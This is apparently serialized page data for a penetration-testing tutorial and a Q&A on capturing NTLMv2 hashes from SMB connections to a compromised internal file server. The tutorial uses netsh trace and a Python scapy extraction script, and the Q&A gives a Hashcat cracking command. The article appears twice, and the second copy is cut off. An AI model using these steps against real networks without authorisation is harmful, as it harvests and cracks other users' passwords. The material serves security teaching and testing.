[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6yo9fwz8P6DTbYAWGnI-hG6LZKUk7HJYjWNEWZAvVKs":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},288,"How do I crack the extracted NTLMv2 hash to recover the plaintext password?","Use Hashcat with a dictionary or brute-force attack on the assembled hash string (`username::domain:challenge:HMAC-MD5:blob`). For example, `hashcat -m 5600 hash.txt wordlist.txt` will attempt to crack NTLMv2 hashes. For a detailed walkthrough, refer to the article [Introduction to Windows Password Hashes - NTLM Hash and Net-NTLM Hash](\u002Fnews\u002Fintroduction-to-windows-password-hashes-ntlm-hash-and-net-ntlm-hash) or the related technique for brute-forcing PPTP passwords in [Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords](\u002Fnews\u002Fpenetration-techniques-acquisition-and-brute-force-of-pptp-passwords).","\u003Cp>Use Hashcat with a dictionary or brute-force attack on the assembled hash string (`username::domain:challenge:HMAC-MD5:blob`). For example, `hashcat -m 5600 hash.txt wordlist.txt` will attempt to crack NTLMv2 hashes. For a detailed walkthrough, refer to the article [Introduction to Windows Password Hashes - NTLM Hash and Net-NTLM Hash](\u002Fnews\u002Fintroduction-to-windows-password-hashes-ntlm-hash-and-net-ntlm-hash) or the related technique for brute-forcing PPTP passwords in [Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords](\u002Fnews\u002Fpenetration-techniques-acquisition-and-brute-force-of-pptp-passwords).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-techniques-using-netsh-to-capture-ntlmv2-hash-from-file-server-connections\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-do-i-crack-the-extracted-ntlmv2-hash-to-recover-the-plaintext-password-1777484463137","Hashcat, NTLMv2 cracking, password recovery, dictionary attack",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},74,"Penetration Techniques - Using netsh to Capture NTLMv2 Hash from File Server Connections","penetration-techniques-using-netsh-to-capture-ntlmv2-hash-from-file-server-connections","Learn to capture NTLMv2 hashes from file server connections using Windows netsh without third-party tools. Extract and crack passwords for internal network penetration testing.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Introduction to Windows Password Hashes - NTLM Hash and Net-NTLM Hash', we compared the differences between NTLM hash and Net-NTLM hash. This article will continue to discuss the application of Net-NTLM hash in internal network penetration, addressing an interesting question:\u003C\u002Fp>\u003Cp>\u003Cstrong>If you obtain access to an internal file server, how can you acquire passwords from more users?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Methods for network packet capture on Windows without installing any third-party dependencies\u003C\u002Fli>\u003Cli>Converting packet data to pcap format\u003C\u002Fli>\u003Cli>Analyzing packets using Wireshark\u003C\u002Fli>\u003Cli>Writing Python scripts to extract NTLMv2 Hash\u003C\u002Fli>\u003Cli>Cracking the Hash using Hashcat\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Solution Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>As mentioned in 'Introduction to Password Hashes under Windows – NTLM Hash and Net-NTLM Hash', when a client connects to a file server, it sends the password hash of the currently logged-in user to the server for verification by default. If verification fails, the login username and password need to be re-entered.\u003C\u002Fp>\u003Cp>If access to a file server within the internal network is obtained, when other hosts in the internal network attempt to access this server via the interface, they first send their own password hash to the server for verification. Capturing data packets on the server side can yield the NTLM Response. By parsing the format of the NTLM Response, extracting specific information, and using Hashcat for dictionary or brute-force attacks, it is possible to recover the plaintext password of the user's local machine.\u003C\u002Fp>\u003Cp>Therefore, the first issue to address next is:\u003Cstrong>How to capture data packets on the file server?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>0x03 Methods for Network Packet Capture on Windows Platform\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The most common method is, of course, to install Wireshark. However, wouldn't it be better if there were a method that doesn't require installing any third-party dependencies, is built into the system, and can be used directly for packet capture?\u003C\u002Fp>\u003Cp>Such a method does exist.\u003C\u002Fp>\u003Cp>Using the trace feature in Windows' built-in netsh allows packet capture via the command line without installing any third-party dependencies.\u003C\u002Fp>\u003Cp>Supported on Windows 7, Server 2008 R2, and later systems, but not on Server 2008.\u003C\u002Fp>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Ftechnet.microsoft.com\u002Fen-us\u002Flibrary\u002Fdd878517%28v=ws.10%29.aspx\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>netsh trace requires administrator privileges.\u003C\u002Fp>\u003Cp>Usage method:\u003C\u002Fp>\u003Ch3>1. Enable logging function\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>netsh trace start capture=yes persistent=yes traceFile=\"c:\\\\test\\\\snmp1.etl\" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Parameter description:\u003C\u002Fp>\u003Cul>\u003Cli>capture=yes: Enable packet capture function\u003C\u002Fli>\u003Cli>persistent=yes: Packet capture function remains active after system reboot and can only be stopped via Netsh trace stop\u003C\u002Fli>\u003Cli>traceFile: Specify the path to save the log file\u003C\u002Fli>\u003Cli>overwrite=yes: If the file exists, overwrite it\u003C\u002Fli>\u003Cli>correlation=no: Do not collect correlation events\u003C\u002Fli>\u003Cli>protocol=tcp: Capture TCP protocol\u003C\u002Fli>\u003Cli>ipv4.address=192.168.62.130: Limit capture to data packets related to the server IP only\u003C\u002Fli>\u003Cli>keywords=ut:authentication: Keyword is ut:authentication\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Adding the above limiting parameters is to minimize packet size as much as possible, filtering only content related to NTLMv2 authentication within the SMB protocol\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>A system configuration file archive with the suffix .cab will be generated in the same directory\u003C\u002Fp>\u003Ch3>2. Disable logging function\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Netsh trace stop\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After disabling the feature, the system saves the captured packets as a file with an .etl extension\u003C\u002Fp>\u003Cp>Demonstration as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018756800_0_90574d3b87.jpeg\">\u003C\u002Fp>\u003Ch3>3. View the .etl file\u003C\u002Fh3>\u003Cp>The .etl file cannot be opened directly; it requires the use of Windows Message Analyzer to convert it into .cap format (recognizable by Wireshark)\u003C\u002Fp>\u003Cp>Windows Message Analyzer download link:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fconfirmation.aspx?id=44226\u003C\u002Fp>\u003Cp>After installation, open the .etl file and wait for it to be recognized. Once successfully recognized, the bottom left corner of the interface will display 'Ready', as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018767941_1_c94a1a37ac.jpeg\">\u003C\u002Fp>\u003Ch3>4. Convert to .cap format\u003C\u002Fh3>\u003Cp>File-Save as-Export, save as a .cap packet format\u003C\u002Fp>\u003Cp>Open the .cap packet file with Wireshark to successfully read the packet file and obtain the packets from the server\u003C\u002Fp>\u003Cp>The SMB2 protocol can be found in the packets, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018785374_2_7fb2f8a689.jpeg\">\u003C\u002Fp>\u003Cp>Extract a set of data packets and restore the key information of NTLM v2, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018794217_3_1fd4759879.jpeg\">\u003C\u002Fp>\u003Cp>Concatenate in a fixed format: username::domain:challenge:HMAC-MD5:blob\u003C\u002Fp>\u003Cp>Use Hashcat for cracking\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For detailed cracking methods, please refer to the article 'Introduction to Windows Password Hashes – NTLM hash and Net-NTLM hash'. This article will not demonstrate it further.\u003C\u002Fp>\u003Cp>Manually assembling multiple NTLM v2 response packets is time-consuming and labor-intensive, so it is necessary to write a program to automatically parse the data packets and extract the NTLM v2 content usable by Hashcat.\u003C\u002Fp>\u003Cp>This leads to the second question:\u003Cstrong>How to implement automatic packet parsing through a program to extract NTLM v2 content?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>0x04 Implementing Automatic Packet Parsing via Program\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Development language: Python\u003C\u002Fp>\u003Cp>Python module: scapy\u003C\u002Fp>\u003Cp>Reference address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Finvernizzi\u002Fscapy-http\u003C\u002Fp>\u003Cp>Installation:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>easy_install scapy\u003Cbr>easy_install scapy_http\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Scapy can parse pcap packets, so before using it, first convert .cap files to pcap format using Wireshark\u003C\u002Fp>\u003Cp>Scapy example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>try:\u003Cbr>    import scapy.all as scapy\u003Cbr>except ImportError:\u003Cbr>    import scapy\u003Cbr>\u003Cbr>try:\u003Cbr>    # This import works from the project directory\u003Cbr>    import scapy_http.http\u003Cbr>except ImportError:\u003Cbr>    # If you installed this package via pip, you just need to execute this\u003Cbr>    from scapy.layers import http\u003Cbr>\u003Cbr>packets = scapy.rdpcap('test.pcap')\u003Cbr>for p in packets:\u003Cbr>    print('=' * 78)\u003Cbr>    p.show()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Automatically parse the format of each packet, divided into Ethernet, IP, TCP, and Raw, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018805473_4_e08880a9ec.jpeg\">\u003C\u002Fp>\u003Cp>Program development approach:\u003C\u002Fp>\u003Col>\u003Cli>Determine the destination port to select packets of the SMB protocol\u003C\u002Fli>\u003Cli>Filter out NTLMv2 Response packets\u003C\u002Fli>\u003Cli>Obtain username, domain, HMAC-MD5, and blob from the current packet\u003C\u002Fli>\u003Cli>Obtain Server challenge from the previous packet\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Specific implementation:\u003C\u002Fp>\u003Ch4>1. Select packets of the SMB protocol\u003C\u002Fh4>\u003Cp>Destination port is 445\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>packets[p]['TCP'].dport == 445\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Filter out NTLMv2 Response packets\u003C\u002Fh4>\u003Cp>TCP payload contains the special string NTLMSSP\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>packets[p]['Raw'].load.find('NTLMSSP') != -1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>3. Obtain username, domain, HMAC-MD5, and blob from the current packet\u003C\u002Fh4>\u003Cp>HMAC-MD5 and blob are at fixed positions and can be obtained directly via fixed offsets\u003C\u002Fp>\u003Cp>Username and domain follow a fixed format: 2 bytes represent Length, 2 bytes represent Maxlen, 4 bytes represent offset. Note that the 2-byte length is actually an int value; when reading, the high and low bytes must be swapped\u003C\u002Fp>\u003Cp>For example, if the read hex data is 4601, the actual calculated value is 0146 converted to decimal, which is 326\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode(\"hex\"),16)\u003Cbr>DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode(\"hex\"),16)*256\u003Cbr>DomainLength = DomainLength1 + DomainLength2\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Domain is stored in Unicode format and needs to be converted to ASCII. The specific implementation is to convert the string to an array and take only the odd positions\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]\u003Cbr>DomainName = ''.join(DomainName)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Complete implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#!\u002Fusr\u002Fbin\u002Fenv python\u003Cbr>try:\u003Cbr>      import scapy.all as scapy\u003Cbr>except ImportError:\u003Cbr>      import scapy\u003Cbr>\u003Cbr>try:\u003Cbr>    # This import works from the project directory\u003Cbr>      import scapy_http.http\u003Cbr>except ImportError:\u003Cbr>    # If you installed this package via pip, you just need to execute this\u003Cbr>      from scapy.layers import http\u003Cbr>\u003Cbr>packets = scapy.rdpcap('6.pcap')\u003Cbr>Num = 1\u003Cbr>for p in range(len(packets)):\u003Cbr>      try:\u003Cbr>            if packets[p]['TCP'].dport ==445:\u003Cbr>                  TCPPayload = packets[p]['Raw'].load\u003Cbr>                  \u003Cbr>                  if TCPPayload.find('NTLMSSP') != -1:\u003Cbr>                        if len(TCPPayload) &gt; 500:       \u003Cbr>                              print (\"----------------------------------Hashcat NTLMv2 No.%s----------------------------------\"%(Num))\u003Cbr>                              Num = Num+1\u003Cbr>                              print (\"PacketNum: %d\"%(p+1))\u003Cbr>                              print (\"src: %s\"%(packets[p]['IP'].src))\u003Cbr>                              print (\"dst: %s\"%(packets[p]['IP'].dst))\u003Cbr>                              Flag = TCPPayload.find('NTLMSSP')\u003Cbr>\u003Cbr>                              ServerTCPPayload = packets[p-1]['Raw'].load\u003Cbr>                             \u003Cbr>                              ServerFlag = ServerTCPPayload.find('NTLMSSP')\u003Cbr>                              ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode(\"hex\")\u003Cbr>                              print (\"ServerChallenge: %s\"%(ServerChallenge))\u003Cbr>\u003Cbr>\u003Cbr>                              DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode(\"hex\"),16)\u003Cbr>                              DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode(\"hex\"),16)*256                             \u003Cbr>                              DomainLength = DomainLength1 + DomainLength2\u003Cbr>                              #print DomainLength\u003Cbr>                              DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]\u003Cbr>                              DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]\u003Cbr>                              DomainName = ''.join(DomainName)\u003Cbr>                              print (\"DomainName: %s\"%(DomainName))\u003Cbr> \u003Cbr>                              UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode(\"hex\"),16)\u003Cbr>                              UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode(\"hex\"),16)*256\u003Cbr>                              UserNameLength = UserNameLength1 + UserNameLength2\u003Cbr>                              #print UserNameLength\u003Cbr>                              UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]\u003Cbr>                              UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]\u003Cbr>                              UserName = ''.join(UserName)\u003Cbr>                              print (\"UserName: %s\"%(UserName))\u003Cbr>                                                                             \u003Cbr>                              NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode(\"hex\"),16)\u003Cbr>                              NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode(\"hex\"),16)*256\u003Cbr>                              NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2                             \u003Cbr>                              #print NTLMResPonseLength                                                         \u003Cbr>                              NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode(\"hex\")                                       \u003Cbr>                              #print NTLMResPonse\u003Cbr>                              print \"Hashcat NTLMv2:\"\u003Cbr>                              print (\"%s::%s:%s:%s:%s\"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))\u003Cbr>                              \u003Cbr>      except:\u003Cbr>            pass\u003Cbr>    \u003Cbr>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After execution, the program output is as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018811978_5_87437d4e7c.jpeg\">\u003C\u002Fp>\u003Cp>Then use Hashcat to perform the cracking\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Open-source tools for parsing pcap files:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FDanMcInerney\u002Fnet-creds\u003C\u002Fp>\u003Cp>However, a bug occurs when parsing the NTLMv2 challenge\u003C\u002Fp>\u003Ch2>0x05 Supplement\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For file servers, if NetBIOS over TCP\u002FIP is enabled, after disabling port 445, the system will attempt to connect using port 139\u003C\u002Fp>\u003Cp>Test as follows:\u003C\u002Fp>\u003Cp>Server disables port 445 and enables port 139\u003C\u002Fp>\u003Cp>Client attempts to connect, SMB protocol uses port 139, packet capture as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018818709_6_23f31ee48a.jpeg\">\u003C\u002Fp>\u003Cp>If NetBIOS over TCP\u002FIP is disabled, file sharing cannot be used after disabling port 445\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article addresses the issue of obtaining passwords for more users after gaining access to an internal file server.\u003C\u002Fp>\u003Cp>By capturing SMB protocol content via Windows command line, writing a program to automatically extract NTLMv2 Hash, and using Hashcat for cracking, it is possible to recover the user's local plaintext password.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Introduction to Windows Password Hashes - NTLM Hash and Net-NTLM Hash', we compared the differences between NTLM hash and Net-NTLM hash. This article will continue to discuss the application of Net-NTLM hash in internal network penetration, addressing an interesting question:\u003C\u002Fp>\u003Cp>\u003Cstrong>If you obtain access to an internal file server, how can you acquire passwords from more users?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Methods for network packet capture on Windows without installing any third-party dependencies\u003C\u002Fli>\u003Cli>Converting packet data to pcap format\u003C\u002Fli>\u003Cli>Analyzing packets using Wireshark\u003C\u002Fli>\u003Cli>Writing Python scripts to extract NTLMv2 Hash\u003C\u002Fli>\u003Cli>Cracking the Hash using Hashcat\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Solution Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>As mentioned in 'Introduction to Password Hashes under Windows – NTLM Hash and Net-NTLM Hash', when a client connects to a file server, it sends the password hash of the currently logged-in user to the server for verification by default. If verification fails, the login username and password need to be re-entered.\u003C\u002Fp>\u003Cp>If access to a file server within the internal network is obtained, when other hosts in the internal network attempt to access this server via the interface, they first send their own password hash to the server for verification. Capturing data packets on the server side can yield the NTLM Response. By parsing the format of the NTLM Response, extracting specific information, and using Hashcat for dictionary or brute-force attacks, it is possible to recover the plaintext password of the user's local machine.\u003C\u002Fp>\u003Cp>Therefore, the first issue to address next is:\u003Cstrong>How to capture data packets on the file server?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>0x03 Methods for Network Packet Capture on Windows Platform\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The most common method is, of course, to install Wireshark. However, wouldn't it be better if there were a method that doesn't require installing any third-party dependencies, is built into the system, and can be used directly for packet capture?\u003C\u002Fp>\u003Cp>Such a method does exist.\u003C\u002Fp>\u003Cp>Using the trace feature in Windows' built-in netsh allows packet capture via the command line without installing any third-party dependencies.\u003C\u002Fp>\u003Cp>Supported on Windows 7, Server 2008 R2, and later systems, but not on Server 2008.\u003C\u002Fp>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Ftechnet.microsoft.com\u002Fen-us\u002Flibrary\u002Fdd878517%28v=ws.10%29.aspx\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>netsh trace requires administrator privileges.\u003C\u002Fp>\u003Cp>Usage method:\u003C\u002Fp>\u003Ch3>1. Enable logging function\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>netsh trace start capture=yes persistent=yes traceFile=\"c:\\\\test\\\\snmp1.etl\" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Parameter description:\u003C\u002Fp>\u003Cul>\u003Cli>capture=yes: Enable packet capture function\u003C\u002Fli>\u003Cli>persistent=yes: Packet capture function remains active after system reboot and can only be stopped via Netsh trace stop\u003C\u002Fli>\u003Cli>traceFile: Specify the path to save the log file\u003C\u002Fli>\u003Cli>overwrite=yes: If the file exists, overwrite it\u003C\u002Fli>\u003Cli>correlation=no: Do not collect correlation events\u003C\u002Fli>\u003Cli>protocol=tcp: Capture TCP protocol\u003C\u002Fli>\u003Cli>ipv4.address=192.168.62.130: Limit capture to data packets related to the server IP only\u003C\u002Fli>\u003Cli>keywords=ut:authentication: Keyword is ut:authentication\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Adding the above limiting parameters is to minimize packet size as much as possible, filtering only content related to NTLMv2 authentication within the SMB protocol\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>A system configuration file archive with the suffix .cab will be generated in the same directory\u003C\u002Fp>\u003Ch3>2. Disable logging function\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Netsh trace stop\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After disabling the feature, the system saves the captured packets as a file with an .etl extension\u003C\u002Fp>\u003Cp>Demonstration as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018756800_0_90574d3b87-1.jpeg\">\u003C\u002Fp>\u003Ch3>3. View the .etl file\u003C\u002Fh3>\u003Cp>The .etl file cannot be opened directly; it requires the use of Windows Message Analyzer to convert it into .cap format (recognizable by Wireshark)\u003C\u002Fp>\u003Cp>Windows Message Analyzer download link:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fconfirmation.aspx?id=44226\u003C\u002Fp>\u003Cp>After installation, open the .etl file and wait for it to be recognized. Once successfully recognized, the bottom left corner of the interface will display 'Ready', as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018767941_1_c94a1a37ac-1.jpeg\">\u003C\u002Fp>\u003Ch3>4. Convert to .cap format\u003C\u002Fh3>\u003Cp>File-Save as-Export, save as a .cap packet format\u003C\u002Fp>\u003Cp>Open the .cap packet file with Wireshark to successfully read the packet file and obtain the packets from the server\u003C\u002Fp>\u003Cp>The SMB2 protocol can be found in the packets, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018785374_2_7fb2f8a689-1.jpeg\">\u003C\u002Fp>\u003Cp>Extract a set of data packets and restore the key information of NTLM v2, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018794217_3_1fd4759879-1.jpeg\">\u003C\u002Fp>\u003Cp>Concatenate in a fixed format: username::domain:challenge:HMAC-MD5:blob\u003C\u002Fp>\u003Cp>Use Hashcat for cracking\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For detailed cracking methods, please refer to the article 'Introduction to Windows Password Hashes – NTLM hash and Net-NTLM hash'. This article will not demonstrate it further.\u003C\u002Fp>\u003Cp>Manually assembling multiple NTLM v2 response packets is time-consuming and labor-intensive, so it is necessary to write a program to automatically parse the data packets and extract the NTLM v2 content usable by Hashcat.\u003C\u002Fp>\u003Cp>This leads to the second question:\u003Cstrong>How to implement automatic packet parsing through a program to extract NTLM v2 content?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>0x04 Implementing Automatic Packet Parsing via Program\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Development language: Python\u003C\u002Fp>\u003Cp>Python module: scapy\u003C\u002Fp>\u003Cp>Reference address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Finvernizzi\u002Fscapy-http\u003C\u002Fp>\u003Cp>Installation:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>easy_install scapy\u003Cbr>easy_install scapy_http\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Scapy can parse pcap packets, so before using it, first convert .cap files to pcap format using Wireshark\u003C\u002Fp>\u003Cp>Scapy example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>try:\u003Cbr>    import scapy.all as scapy\u003Cbr>except ImportError:\u003Cbr>    import scapy\u003Cbr>\u003Cbr>try:\u003Cbr>    # This import works from the project directory\u003Cbr>    import scapy_http.http\u003Cbr>except ImportError:\u003Cbr>    # If you installed this package via pip, you just need to execute this\u003Cbr>    from scapy.layers import http\u003Cbr>\u003Cbr>packets = scapy.rdpcap('test.pcap')\u003Cbr>for p in packets:\u003Cbr>    print('=' * 78)\u003Cbr>    p.show()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Automatically parse the format of each packet, divided into Ethernet, IP, TCP, and Raw, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018805473_4_e08880a9ec-1.jpeg\">\u003C\u002Fp>\u003Cp>Program development approach:\u003C\u002Fp>\u003Col>\u003Cli>Determine the destination port to select packets of the SMB protocol\u003C\u002Fli>\u003Cli>Filter out NTLMv2 Response packets\u003C\u002Fli>\u003Cli>Obtain username, domain, HMAC-MD5, and blob from the current packet\u003C\u002Fli>\u003Cli>Obtain Server challenge from the previous packet\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Specific implementation:\u003C\u002Fp>\u003Ch4>1. Select packets of the SMB protocol\u003C\u002Fh4>\u003Cp>Destination port is 445\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>packets[p]['TCP'].dport == 445\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Filter out NTLMv2 Response packets\u003C\u002Fh4>\u003Cp>TCP payload contains the special string NTLMSSP\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>packets[p]['Raw'].load.find('NTLMSSP') != 